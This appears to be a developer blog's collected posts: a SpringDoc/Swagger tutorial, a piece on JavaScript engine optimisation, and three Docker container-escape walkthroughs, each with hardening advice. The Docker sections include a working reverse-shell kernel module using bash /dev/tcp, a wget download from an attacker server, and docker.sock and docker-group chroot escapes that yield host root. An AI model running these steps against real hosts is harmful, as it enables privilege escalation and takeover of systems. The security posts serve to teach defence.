API documentation is one of the crucial point during development of the application. The contracted API let development teams to work on different pieces of application, without risk of failure during integration. API contract also defines endpoint interaction results, such as status codes and business reasons for them.

Design first vs Code First approach

In case of designing software, we need to choose one of the API design approach.

Design first approach:

• Parallelize development work - Teams can mock API, based on the expected behaviour provided in contract
• Single point of truth - The API contract is available within organization on early stage of the project.

Code first approach:

• Flexibility with delivering API
• Quick prototyping

Swagger

To simplify the process of building API documentation, tools such as Swagger has been developed.

Swagger toolset offers:

• OpenAPI (Swagger) documentation online editor
• Client/Server code generation based on written OpenAPI documentation
• Swagger UI
  • Basic web visualization of the API, with possibility of testing endpoints
  • Could be deployed on top of spring-boot application (with springdoc or springfox libraries)
  • Swagger documentation could be automatically generated based on implemented API code.

As you can see different swagger tools can be used for both API-first and Code First approaches. In following article I would like to focus on code first approach and usage of SpringDoc library.

The example of deployed swagger documentation, could be found under following link: https://spring-link-shortener.herokuapp.com/swagger-ui/index.html

SpringDoc library

SpringDoc automatically generates documentation in JSON/YAML format and also presents it in Swagger UI. SpringDoc works by examining an application at runtime to infer API semantics based on spring configurations, class structure and annotations.

Library supports:

• OpenAPI 3
• Spring-boot (v1 and v2)
• JSR-303 (javax bean validation)
• Different types of authentication like: OAuth 2
• Webflux

Add library to project

The only step needed to add swagger documentation into your project is adding following dependency to pom.xml:

   <dependency>
      <groupId>org.springdoc</groupId>
      <artifactId>springdoc-openapi-ui</artifactId>
      <version>1.6.7</version>
   </dependency>

Then, if you run spring-boot project, the Swagger UI page (http://localhost:8080/swagger-ui/index.html) and documentation (http://localhost:8080/v3/api-docs) in json format should be exposed.

Result in Swagger UI:

Annotations

One of the most popular way to customize OpenAPI definitions is usage of annotations over specific fields, class or methods related to API.

• @OpenAPIDefinition - This is the root document object of the OpenAPI document. Contains fields such as: openapi and info and paths
  • @Info - Provides metadata about the API. Contains fields such as: title, description (in markdown), contact, license and version.
• @Operation - Describes a single API operation on a path. Wrapper annotation for request / responses and it’s parameters. Contains fields such as: summary and description.
• @ApiResponse - Expected API response, could be used multiple times. Contains fields such as: description and responseCode and content
• @Schema - Provides the definition of input and output data types. Contains fields such as: description, example, required.
• @Hidden - Skipping a given resource, class or bean type during documentation generation.

Endpoint

Example controller:

import dev.greencashew.link_shortener.link.api.LinkService;
import dev.greencashew.link_shortener.link.api.dto.LinkDto;
import io.swagger.v3.oas.annotations.Operation;
import io.swagger.v3.oas.annotations.media.Content;
import io.swagger.v3.oas.annotations.media.ExampleObject;
import io.swagger.v3.oas.annotations.media.Schema;
import io.swagger.v3.oas.annotations.responses.ApiResponse;
import lombok.AllArgsConstructor;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@RestController
@AllArgsConstructor
@RequestMapping("/s")
class RedirectController {
    private final LinkService service;

    @GetMapping("/{id}")
    @Operation(description = "Redirect link by it's identifier. This endpoint has to be tested by direct GET request in browser.")
    @ApiResponse(responseCode = "302", description = "User is redirected to expected location.", content = @Content)
    @ApiResponse(responseCode = "404", description = "Shortened link not found.", content = @Content(examples = @ExampleObject(value = "{\"errorMessage\": \"Shortened link link-alias not found.\"}")))
    public void redirectLink(
        @Schema(description = "Identifier/alias to link. Used for redirection.", example = "link-alias", required = true)
        @PathVariable String id, HttpServletResponse httpServletResponse) throws IOException {
        final LinkDto linkDto = service.gatherLinkAndIncrementVisits(id);
        httpServletResponse.sendRedirect(linkDto.targetUrl());
    }
}

Result in Swagger UI:

DTO

Example Dto object:

import io.swagger.v3.oas.annotations.media.Schema;

import javax.validation.constraints.Email;
import javax.validation.constraints.Future;
import javax.validation.constraints.NotBlank;
import javax.validation.constraints.Size;
import java.time.LocalDate;

record CreateLinkDto(
    @Schema(description = "Identifier/alias to link. Used for redirection.", example = "link-alias", required = true)
    @NotBlank @Size(min = 1, max = 60)
    String id,

    @Schema(description = "User email required for shortened link management (deletion, updating)", example = "test@greencashew.dev", required = true)
    @NotBlank @Email
    String email,

    @Schema(description = "Destination url we would like to ", example = "https://github.com/greencashew/warsztaty-podstawy-springa", required = true)
    @NotBlank
    String targetUrl,

    @Schema(description = "Link expiration time. If would like to have shortened link forever do not fill this field.", example = "2054-06-23", required = false)
    @Future
    LocalDate expirationDate) {
    
}

Result in Swagger UI:

Example value in documentation:

{
  "id": "link-alias",
  "email": "test@greencashew.dev",
  "targetUrl": "https://github.com/greencashew/warsztaty-podstawy-springa",
  "expirationDate": "2054-06-23"
}

OpenAPI Configuration

Another possibility of defining API documentation is usage bean configuration.

import io.swagger.v3.oas.models.Components;
import io.swagger.v3.oas.models.ExternalDocumentation;
import io.swagger.v3.oas.models.OpenAPI;
import io.swagger.v3.oas.models.info.Contact;
import io.swagger.v3.oas.models.info.Info;
import io.swagger.v3.oas.models.info.License;
import io.swagger.v3.oas.models.security.SecurityScheme;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

@Configuration
class DocumentationConfiguration {
    @Bean
    public OpenAPI springLinkShortenerDocumentation(@Value("${application.version}") String appVersion) {
        return new OpenAPI()
            .components(new Components().addSecuritySchemes("basicScheme", new SecurityScheme()
                .type(SecurityScheme.Type.HTTP).scheme("basic")))
            .info(new Info().title("Link Shortener")
                .description("""
                    It is fully featured link shortener written in Java 17 and Spring Framework.
                                            
                    Supported features:
                    - Create/Read/Update/Delete shortened link
                    - Redirect to specific page by short link identifier
                    - Handle business exception like: LinkNotFound, LinkAlreadyExists or IncorrectAdminVerification
                    - Application automatically delete expired links within specified period
                    """)
                .version(appVersion)
                .contact(new Contact().name("Jan Górkiewicz").url("https://greencashew.dev"))
                .license(new License().name("Apache 2.0")))
            .externalDocs(new ExternalDocumentation()
                .description("Project created as educational material of spring course 'Warsztaty Podstawy Springa'.")
                .url("https://github.com/greencashew/warsztaty-podstawy-springa"));
    }
}

Result in swagger UI:

Useful application properties

SpringDoc offers also configuration via application properties, below list of some useful parameters:

# Disabling the /v3/api-docs endpoint
springdoc.api-docs.enabled=false
# Disable swagger UI
springdoc.swagger-ui.enabled=false

# Change path to swagger UI
springdoc.swagger-ui.path=/swagger-ui.html

# Oauth Default clientSecret (only for dev/test environment)
springdoc.swagger-ui.oauth.clientSecret=6779ef20e75817b79602
springdoc.swagger-ui.oauth.appName=appName

# Show actuator endpoints
springdoc.show-actuator=true

# Specify packages to scan
springdoc.packagesToScan=package1, package2

#Use fully qualified names
springdoc.use-fqn=true

More information

More information could be found in official springdoc documentation and github demo applications repository.

Why not SpringFox library?

SpringFox library was most commonly used library for generating swagger (OpenAPI) documentation. It is still popular for OpenAPI 2. Unfortunately it is not actively maintained by its developers – the latest version has been released in July 2020. Springfox library integration with the latest spring boot version also require writing some workaround code due to issue in library. Therefore, it is good idea to use SpringDoc as replacement to SpringFox.

Issue new spring boot version and SpringFox library

Spring Boot Version: 2.6.x

SpringFox swagger: 3.0.0

org.springframework.context.ApplicationContextException: Failed to start bean 'documentationPluginsBootstrapper'; nested exception is java.lang.NullPointerException: Cannot invoke "org.springframework.web.servlet.mvc.condition.PatternsRequestCondition.getPatterns()" because "this.condition" is null
	at org.springframework.context.support.DefaultLifecycleProcessor.doStart(DefaultLifecycleProcessor.java:181) ~[spring-context-5.3.16.jar:5.3.16]
	at org.springframework.context.support.DefaultLifecycleProcessor.access$200(DefaultLifecycleProcessor.java:54) ~[spring-context-5.3.16.jar:5.3.16]
	at org.springframework.context.support.DefaultLifecycleProcessor$LifecycleGroup.start(DefaultLifecycleProcessor.java:356) ~[spring-context-5.3.16.jar:5.3.16]
	at java.base/java.lang.Iterable.forEach(Iterable.java:75) ~[na:na]
	at org.springframework.context.support.DefaultLifecycleProcessor.startBeans(DefaultLifecycleProcessor.java:155) ~[spring-context-5.3.16.jar:5.3.16]
	at org.springframework.context.support.DefaultLifecycleProcessor.onRefresh(DefaultLifecycleProcessor.java:123) ~[spring-context-5.3.16.jar:5.3.16]
	at org.springframework.context.support.AbstractApplicationContext.finishRefresh(AbstractApplicationContext.java:935) ~[spring-context-5.3.16.jar:5.3.16]
	at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:586) ~[spring-context-5.3.16.jar:5.3.16]
	at org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.refresh(ServletWebServerApplicationContext.java:145) ~[spring-boot-2.6.4.jar:2.6.4]
	at org.springframework.boot.SpringApplication.refresh(SpringApplication.java:740) ~[spring-boot-2.6.4.jar:2.6.4]
	at org.springframework.boot.SpringApplication.refreshContext(SpringApplication.java:415) ~[spring-boot-2.6.4.jar:2.6.4]
	at org.springframework.boot.SpringApplication.run(SpringApplication.java:303) ~[spring-boot-2.6.4.jar:2.6.4]
	at org.springframework.boot.SpringApplication.run(SpringApplication.java:1312) ~[spring-boot-2.6.4.jar:2.6.4]
	at org.springframework.boot.SpringApplication.run(SpringApplication.java:1301) ~[spring-boot-2.6.4.jar:2.6.4]
	at com.greencashew.springswagger.SpringSwaggerFixedApplication.main(SpringSwaggerFixedApplication.java:10) ~[classes/:na]
Caused by: java.lang.NullPointerException: Cannot invoke "org.springframework.web.servlet.mvc.condition.PatternsRequestCondition.getPatterns()" because "this.condition" is null
	at springfox.documentation.spring.web.WebMvcPatternsRequestConditionWrapper.getPatterns(WebMvcPatternsRequestConditionWrapper.java:56) ~[springfox-spring-webmvc-3.0.0.jar:3.0.0]
	at springfox.documentation.RequestHandler.sortedPaths(RequestHandler.java:113) ~[springfox-core-3.0.0.jar:3.0.0]
	at springfox.documentation.spi.service.contexts.Orderings.lambda$byPatternsCondition$3(Orderings.java:89) ~[springfox-spi-3.0.0.jar:3.0.0]
	at java.base/java.util.Comparator.lambda$comparing$77a9974f$1(Comparator.java:473) ~[na:na]
	at java.base/java.util.TimSort.countRunAndMakeAscending(TimSort.java:355) ~[na:na]
	at java.base/java.util.TimSort.sort(TimSort.java:220) ~[na:na]
	at java.base/java.util.Arrays.sort(Arrays.java:1307) ~[na:na]
	at java.base/java.util.ArrayList.sort(ArrayList.java:1721) ~[na:na]
	at java.base/java.util.stream.SortedOps$RefSortingSink.end(SortedOps.java:392) ~[na:na]
	at java.base/java.util.stream.Sink$ChainedReference.end(Sink.java:258) ~[na:na]
	at java.base/java.util.stream.Sink$ChainedReference.end(Sink.java:258) ~[na:na]
	at java.base/java.util.stream.Sink$ChainedReference.end(Sink.java:258) ~[na:na]
	at java.base/java.util.stream.Sink$ChainedReference.end(Sink.java:258) ~[na:na]
	at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:510) ~[na:na]
	at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:499) ~[na:na]
	at java.base/java.util.stream.ReduceOps$ReduceOp.evaluateSequential(ReduceOps.java:921) ~[na:na]
	at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:234) ~[na:na]
	at java.base/java.util.stream.ReferencePipeline.collect(ReferencePipeline.java:682) ~[na:na]
	at springfox.documentation.spring.web.plugins.WebMvcRequestHandlerProvider.requestHandlers(WebMvcRequestHandlerProvider.java:81) ~[springfox-spring-webmvc-3.0.0.jar:3.0.0]
	at java.base/java.util.stream.ReferencePipeline$3$1.accept(ReferencePipeline.java:197) ~[na:na]
	at java.base/java.util.ArrayList$ArrayListSpliterator.forEachRemaining(ArrayList.java:1625) ~[na:na]
	at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:509) ~[na:na]
	at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:499) ~[na:na]
	at java.base/java.util.stream.ReduceOps$ReduceOp.evaluateSequential(ReduceOps.java:921) ~[na:na]
	at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:234) ~[na:na]
	at java.base/java.util.stream.ReferencePipeline.collect(ReferencePipeline.java:682) ~[na:na]
	at springfox.documentation.spring.web.plugins.AbstractDocumentationPluginsBootstrapper.withDefaults(AbstractDocumentationPluginsBootstrapper.java:107) ~[springfox-spring-web-3.0.0.jar:3.0.0]
	at springfox.documentation.spring.web.plugins.AbstractDocumentationPluginsBootstrapper.buildContext(AbstractDocumentationPluginsBootstrapper.java:91) ~[springfox-spring-web-3.0.0.jar:3.0.0]
	at springfox.documentation.spring.web.plugins.AbstractDocumentationPluginsBootstrapper.bootstrapDocumentationPlugins(AbstractDocumentationPluginsBootstrapper.java:82) ~[springfox-spring-web-3.0.0.jar:3.0.0]
	at springfox.documentation.spring.web.plugins.DocumentationPluginsBootstrapper.start(DocumentationPluginsBootstrapper.java:100) ~[springfox-spring-web-3.0.0.jar:3.0.0]
	at org.springframework.context.support.DefaultLifecycleProcessor.doStart(DefaultLifecycleProcessor.java:178) ~[spring-context-5.3.16.jar:5.3.16]
	... 14 common frames omitted

Solution for the issue could be found here.

Migrating from Springfox to SpringDoc

To migrate from SpringFox to SpringDoc change dependencies in pom.xml could be not enough. Another step is annotations migration from OpenAPI 2 to OpenAPI 3:

• @Api → @Tag
• @ApiIgnore → @Hidden
• @ApiImplicitParam → @Parameter
• @ApiImplicitParams → @Parameters
• @ApiModel → @Schema
• @ApiModelProperty(hidden = true) → @Schema(accessMode = READ_ONLY)
• @ApiModelProperty → @Schema
• @ApiOperation(value = "foo", notes = "bar") → @Operation(summary = "foo", description = "bar")
• @ApiParam → @Parameter
• @ApiResponse(code = 404, message = "foo") → @ApiResponse(responseCode = "404", description = "foo")

More information

More information about springfox project could be found in official springfox documentation.

Javascript was originally designed as a simple scripting language for web browsers. Nowadays ECMAScript (Specification of Javascript) is a fully-featured general-purpose programming language.  It empowers a wide spectrum of different purpose applications. We can even find JS solutions in Space.

This article gives outline of some JS language fundamentals, that can help improve your code.

Engines

There are few JS engines which in different way resolve ECMASCRIPT implementation.

• Google V8
• Spider Monkey
• Chakra Core
• JavaScript Core

The main engine features are: compilation, run and code optimization.

Javascript Engine Pipeline

An engines follow in high level same steps:

• Parser build AST (lexical, syntactic, semantic analysis)
• Interpreter generates Bytecode
• Bytecode is translated with JIT (Just In Time) compiler into machine code (only popular code)

JS Optimization - Engine trade-offs

All JS engines have to deal with tradeoffs between Low and High code optimization.

Only once function becomes hot (often used) it is optimized by the compiler. The main reason why JS engines optimize only hot functions is that:

• More compiled code => More memory used
• Compiling code => Extra time
• Less compilation => Slower run

Objects

Each object is:

• Internally defined as dictionaries.
• Each object variable:
  • Has a defined name in string form
  • Contain additional property values:

To check it, we can use Object.getOwnPropertyDescriptors function:

Object.getOwnPropertyDescriptors({key1: 'val1', key2: 'val2'})

Result:

{…}​

key1: {…}
configurable: true
​enumerable: true
​​value: "val1"
​​writable: true
​​<prototype>: Object { … }
​
key2: {…}
​​configurable: true
​​enumerable: true
​​value: "val2"
​​writable: true
​​<prototype>: Object { … }
​
<prototype>: Object { … }

Arrays

• Similar to objects + auto-updating length property
• All values in the array field have the same internal properties.

Let’s see how property descriptors look for the array:

Object.getOwnPropertyDescriptors(['val1', 'val2'])

Result:

{…}
​
0: {…}
​​configurable: true
​​enumerable: true
​​value: "val1"
​​writable: true
​​<prototype>: Object { … }
​
1: {…}
​​configurable: true
​​enumerable: true​​
value: "val2"
​​writable: true
​​<prototype>: Object { … }
​
length: {…}
​​configurable: false
​​enumerable: false
​​value: 2
​​writable: true
​​<prototype>: Object { … }
​
<prototype>: Object { … }

Hidden Classes / Shapes / Structures / Types / Maps

When dynamically instantiating an object, these made in the background hidden class / shape / structure / type / map.

The structure instead of object value has Offset:

Different terminology

Each engine has a different name for the same thing:

• Academic => Hidden classes
• JavaScriptCore => Structures
• Chakra => Types
• V8 => Maps
• SpiderMonkey => Shapes

Let’s call it: “shape” in this article.

How does it work?

• When dynamically instantiating an object, these made in the background object shape
• Objects with the same values can have the same internal shape (Order is important)
• Each object variable has a pointer to index or offset of the memory location where the value of the variable is written.
• Empty object => Empty shape
• Adding variables => Building new shapes on the fly
• Object shape transition is maintained (due to object mutation)
  
• In case we have identical parent objects transition chain changes to transition tree
• Chained shapes increase access time. To avoid it internal shape table is created which connects variable to a specific shape of an object.
• Some engines clear the offset field when deleting a single variable, which slows down the access times

Inline caching

Inline Caching - When calling function, interpreter remembers the location of the shape from the object and memory offset of value. It enables faster accesses. Caching is not effective if sequentially access different objects.

Types

• Monomorphic IC - objects accessed in the sequence have the same shape.
• Polymorphic IC - objects that are accessed in the sequence have a different shape (4 or less).
• Megamorphic IC - objects that are accessed in the sequence have a different shape (4 or more), code optimization turned off.

Optimization

Let’s imagine Megamorphic IC situation that we call the function with different shape every function call. Also, all 5 shapes have some common keys:

<html>
  <script type="text/javascript">
    function perfTest() {
      var t0 = performance.now();

      const X1 = { a: "A", b: "A", c: "A" };
      const X2 = { a: "B", b: "B", d: "B" };
      const X3 = { a: "C", b: "C", e: "C" };
      const X4 = { a: "D", b: "D", f: true };
      const X5 = { a: "E" };

      const object = [X1, X2, X3, X4, X5, X1, X2, X3];
      const get_a = (obj) => obj.a;

      for (var i = 0; i < 10000000000; i++) get_a(object[i & 7]);

      var t1 = performance.now();

      document.write("Execution took " + (t1 - t0) + " milliseconds.");
    }

    window.onload = function () {
      perfTest();
    };
  </script>
</html>

Execution time:

Execution took 26 9154.5499999993 milliseconds.

Now let’s try to optimize code to make the same shape from all 5 objects by adding null values to not covered keys:

 <html>
  <script type="text/javascript">
    function perfTest() {
      var t0 = performance.now();

      const X1 = { a: "A", b: "A", c: "A", d: null, e: null, f: null };
      const X2 = { a: "B", b: "B", c: null, d: "B", e: null, f: null };
      const X3 = { a: "C", b: "C", c: null, d: null, e: "C", f: null };
      const X4 = { a: "D", b: "D", c: null, d: null, e: null, f: true };
      const X5 = { a: "E", b: null, c: null, d: null, e: null, f: null };

      const object = [X1, X2, X3, X4, X5, X1, X2, X3];
      const get_a = (obj) => obj.a;

      for (var i = 0; i < 10000000000; i++) get_a(object[i & 7]);

      var t1 = performance.now();

      document.write("Execution took " + (t1 - t0) + " milliseconds.");
    }

    window.onload = function () {
      perfTest();
    };
  </script>
</html>

Execution time:

Execution took  3 1370.180000005348 milliseconds.

Optimized code execution time drastically decreased in comparison of unoptimized. From 26 sec to 3 sec.

Prototypes

• Prototypes are specially treated objects.
• Each JS object has an inheritance chain up to the general Object.prototype
• JS Engines in background use object shapes for object prototypes
• Prototypes also use Inline Cache to have quick access over Shape chain
• ValidityCell guarantee that cached prototype didn’t change
• Once ValidityCell became invalid inline caching is not used anymore

Classes

Classes are syntax for the prototype.

Garbage Collection

• Garbage Collector - the mechanism for real-time deletion of unused dynamic memory
• Stop a main thread to rearrange references
• Responsible for memory optimization
• Usually use Mark & Sweep or derivatives
  • Marking - Mark all alive (which has at least one reference) objects
  • Sweeping - Free memory from all objects left
• Usually, objects are divided into generations:
  • Young - Most instances die young, so over the young generation, GC runs more times
  • Old - Old objects live much longer e.g. global objects
• Optimally GC run when idle time detected e.g. on watching a video, reading longer text

Memory Leak - Accidental Global Variables

When variable inside a function is defined without var prefix it cause that object is assigned to  window

function foo(arg) {
    bar = "hidden global variable";
}

If this was used it may also cause the same issue:

function foo() {
    this.variable = "potential accidental global";
}
foo();

To avoid it 'use strict'; the clause can be added at the beginning of JS file. To avoid it 'use strict'; the clause can be added at the beginning of JS file.

Why JS is not server side compiled ?

You can ask why not to send compiled/bytecode to the browser. This could solve the problem with code optimization. To get the answer we need to understand for what purpose JS was designed and what are pros of this solution.

Simple glue language

The idea of JS was to be the simple scripting language for non-developers. JS had to be like glue between Java applets.

We aimed to provide a “glue language” for the Web designers and part time programmers who were building Web content from components such as images, plugins, and Java applets. We saw Java as the “component language” used by higher-priced programmers, where the glue programmers – the Web page designers – would assemble components and automate their interactions using JS.

In this sense, JS was analogous to Visual Basic, and Java to C++, in Microsoft’s programming language family used on Windows and in its applications. This division of labor across the programming pyramid fosters greater innovation than alternatives that require all programmers to use the “real” programming language (Java or C++) instead of the “little” scripting language.

Brendan Eich JS Initial Designer - https://a-z.readthedocs.io/en/latest/javascript.html

Embedding into HTML

JavaScript was designed to be embedded directly in HTML, like <input type="button" onclick="alert('hello world')">. This requires JS to be in a textual format.

Easier development

We don’t need any compiler to JS development only text editor and browser are needed.

Standardization problems

Each browser implements EcmaScript in its own way, the only high-level specification defined by committees is agreed. There is no standardization for bytecode or more optimized code.

Minified and Compressed code

As EcmaScript can be compressed and minified quite well it’s not big loose to not compile on server side.

Performance advice

• Always initialize objects in the same way
• Instead of delete property, prefer to use null or undefined
• Don’t mix object shapes in an array
• Keep order on object creation - Order in which the variables are defined is important
• Don’t change prototypes if possible (or change as early as possible)
• Avoid the allocation of global objects

Sources

• https://mathiasbynens.be/notes/shapes-ics
• https://mathiasbynens.be/notes/prototypes
• https://www.ecma-international.org/ecma-262/11.0/index.html#sec-overview
• https://a-z.readthedocs.io/en/latest/javascript.html
• https://softwareengineering.stackexchange.com/questions/402250/why-is-javascript-not-compiled-to-bytecode-before-sending-over-the-network
• https://auth0.com/blog/four-types-of-leaks-in-your-javascript-code-and-how-to-get-rid-of-them/

Docker privileged mode grants a Docker container root capabilities to all devices on the host system. Some docker containers require extra privileges to access kernel host (e.g. to allow run docker inside docker). Unfortunately, these root capabilities can be also used to breakout container and even gain root capabilities.

Preconditions

• The attacker has access to the container with --privileged or --cap-add=all mode

Checking capabilities

First, to simulate the attacker situation let’s run the alpine image with --privileged mode.

docker run -it --privileged alpine sh

The next step for the attacker is to check what capabilities are available in a docker container. To do that it is needed to run capsh --print the command inside the container. if the command is not available it is needed to install libcap library.

apk add -U libcap
capsh --print | grep Current

Result:

Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+eip

As you see there are a lot of capabilities in a privileged mode, Below you can find differences between the privileged component and the standard one.

cap_sys_module, cap_sys_ptrace, cap_sys_admin are capabilities which attacker can easily use to breakout container.

Building reverse shell kernel module

With privileged docker container attacker can install linux kernel modules. In this section we build reverseshell kernel module.

Before start creating kernel module you have to be sure that you have installed linux headers. To install them use command below:

sudo apt-get install -y build-essential linux-headers-$(uname -r)

Next step we need to do is create file reverseshell_module.c with content below:

#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/kmod.h>

static char command[] = "bash -i >& /dev/tcp/172.17.0.1/8888 0>&1"; //Reverse shell change ip and port if needed

char *argv[] = {
    "/bin/bash",
    "-c",    // flag make command run from option list
    command, // Reverse shell
    NULL     // End of the list
};
static char *envp[] = {
    "HOME=/",
    NULL // End of the list
};

static int __init connect_back_init(void)
{

    return call_usermodehelper(
        argv[0],      // execution path
        argv,         // arguments for process
        envp,         // environment for process
        UMH_WAIT_EXEC // don't wait for program return status
    );
}

static void __exit connect_back_exit(void)
{
    printk(KERN_INFO "Exiting\n");
}

module_init(connect_back_init);
module_exit(connect_back_exit);

Next step is to prepare Makefile to be able to build module properly:

obj-m += reverseshell_module.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean

When both files are prepared you can build file with make command.

make

result:

make -C /lib/modules/5.4.0-42-generic/build M=/home/janek/reverseshell modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-42-generic'
  Building modules, stage 2.
  MODPOST 1 modules
WARNING: modpost: missing MODULE_LICENSE() in /home/janek/reverseshell/reverseshell_module.o
see include/linux/module.h for more information
  CC [M]  /home/janek/reverseshell/reverseshell_module.mod.o
  LD [M]  /home/janek/reverseshell/reverseshell_module.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-42-generic'

As build process has been completed attacker can put reverseshell_module.ko into some http server.

Installing a reverse shell kernel module from the privileged docker container

Let’s go back to a privileged Docker container which attacker got access.

docker run -it --privileged alpine sh

Another thing attacker do is downloading prepared docker module.

wget http://ATTACKER_SERVER/reverseshell_module.ko

Connecting to 172.17.0.1:8000 (172.17.0.1:8000)
saving to 'reverseshell_module.ko'
reverseshell_module. 100% |********************************************************|  4544  0:00:00 ETA
'reverseshell_module.ko' saved

Before installation of the kernel module, it is needed to setup netcat listener in a new terminal window:

nc -nlvp 8888

result:

Listening on 0.0.0.0 8888

As the listener is ready attacker can install reverse shell kernel module:

chmod +x reverseshell_module.ko
insmod reverseshell_module.ko

The connection should appear on the listening terminal:

Connection received on 10.0.2.15 44586
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@docker:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@docker:/# 

As we can see the attacker received root access on the host machine.

Kernel modules commands

Below you can find some useful command for managing kernel modules:

Install module:

insmod reverseshell_module.ko

Unload module:

rmmod reverseshell_module.ko

List modules:

lsmod

How to secure?

• Always give the container minimum requirements it needs
• If it is required add only specific capabilities with --cap-add
• Use namespace remapping
• Run docker in rootless mode (Some docker features may not work properly)
• Run containers as not root user

Sources

• https://phoenixnap.com/kb/docker-privileged
• https://www.educba.com/docker-privileged/
• https://docs-stage.docker.com/engine/security/rootless/
• https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.html
• https://www.kernel.org/doc/htmldocs/kernel-hacking/routines-init-again.html
• https://www.thegeekstuff.com/2013/07/write-linux-kernel-module/

Some docker images like Portainer, Nginx available on docker hub require add as volume docker.sock. This file allows managing other containers from the container. Unfortunately, access to this file can also give the attacker opportunity to get control over the host.

Preconditions

• The attacker got access to docker container
• Container has mounted /var/run/docker.sock

Checking if conditions fulfilled

To simulate precondition we create alpine image with mounted docker.sock:

docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock alpine sh

Let be sure if docker sock has been mounted:

ls /var/run/docker.sock 

/var/run/docker.sock

Another thing user need to check if docker CLI is installed under container:

docker

Result:

sh: docker: not found

Docker command was not found so it is needed to install it:

apk update
apk add -U docker

/ # apk update
fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/main/x86_64/APKINDEX.tar.gz
fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/community/x86_64/APKINDEX.tar.gz
v3.12.1-34-g3bbb400149 [http://dl-cdn.alpinelinux.org/alpine/v3.12/main]
v3.12.1-37-gb1aa03461c [http://dl-cdn.alpinelinux.org/alpine/v3.12/community]
OK: 12750 distinct packages available
/ # apk add -U docker
(1/12) Installing ca-certificates (20191127-r4)
(2/12) Installing libseccomp (2.4.3-r0)
(3/12) Installing runc (1.0.0_rc10-r1)
(4/12) Installing containerd (1.3.4-r1)
(5/12) Installing libmnl (1.0.4-r0)
(6/12) Installing libnftnl-libs (1.1.6-r0)
(7/12) Installing iptables (1.8.4-r2)
(8/12) Installing tini-static (0.19.0-r0)
(9/12) Installing device-mapper-libs (2.02.186-r1)
(10/12) Installing docker-engine (19.03.12-r0)
(11/12) Installing docker-cli (19.03.12-r0)
(12/12) Installing docker (19.03.12-r0)
Executing docker-19.03.12-r0.pre-install
Executing busybox-1.31.1-r16.trigger
Executing ca-certificates-20191127-r4.trigger
OK: 307 MiB in 26 packages 

Escaping docker container

Having mounted docker.sock we have full access to managing docker containers. So we can: delete, exec, create, change configurations etc.

Our next step would be creating a new container with the mounted root directory as volume:

docker -H unix://var/run/docker.sock run -it -v /:/host -t alpine sh

Let’s now use chroot command over host directory

chroot host

Attacker gain full access to file system on the host directory.

How to secure?

• Do not mount /var/run/docker.sock
• If you need to mount into some containers treat it as root privileged application, secure it, try not to expose over the network
• Run docker in rootless mode (Some docker features may not work properly)

Sources

• https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option
• https://cheatsheetseries.owasp.org/cheatsheets/DockerSecurityCheat_Sheet.html

Docker for proper running need root privileges. Following the Peter Parker quote "With great power comes great responsibility" we should focus on securing potential docker vulnerabilities. One of them is Privilege Escalation through Linux Namespace.

Preconditions

• Already logged user in the host
• User in the docker group
• userns-remap disabled

Attack - User with docker group on the host machine

In the beginning, it is required to check if we are added to docker user group, so we can run docker command. There are many commands to do that like: id, groups but the easiest way is just run docker command.

➜  ~ groups
janek adm sudo docker

To gain root privileges on the host machine it is needed to create or use a container with root mount / directory and run chroot command over host catalogue in the container.

docker run -it --rm -v /:/host alpine chroot /host

Result of the command should look like this:

➜  ~ docker run -it --rm -v /:/host alpine chroot /host
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@bf63f8813122:/# 

chroot change working root directory for the current process. In this case, it means that the user gains full privileges on the host.

root@bf63f8813122:/# docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED              STATUS              PORTS               NAMES
bf63f8813122        alpine              "chroot /host"      About a minute ago   Up About a minute                       xenodochial_torvalds
root@bf63f8813122:/# cd root
root@bf63f8813122:~# id

How to secure?

• Add only privileged users to docker group
• Use userns-remap
• Run docker in rootless mode (Some docker features may not work properly)

Setting up remapping of the user namespace

Before we start the remap procedure we need to stop docker with all containers reset.

docker container stop $(docker container ls -aq)
sudo systemctl stop docker

Open (If doesn’t’ exists create one) /etc/docker/daemon.json and put the parameter :

{
  "userns-remap": "default"
}

The phrase above add namespace mapping with a default value dockremap every time docker daemon start.

Then we have to restart docker service and reboot

sudo systemctl start docker

After this procedure root under the container is mapped to dockremap user on the host.

Sources

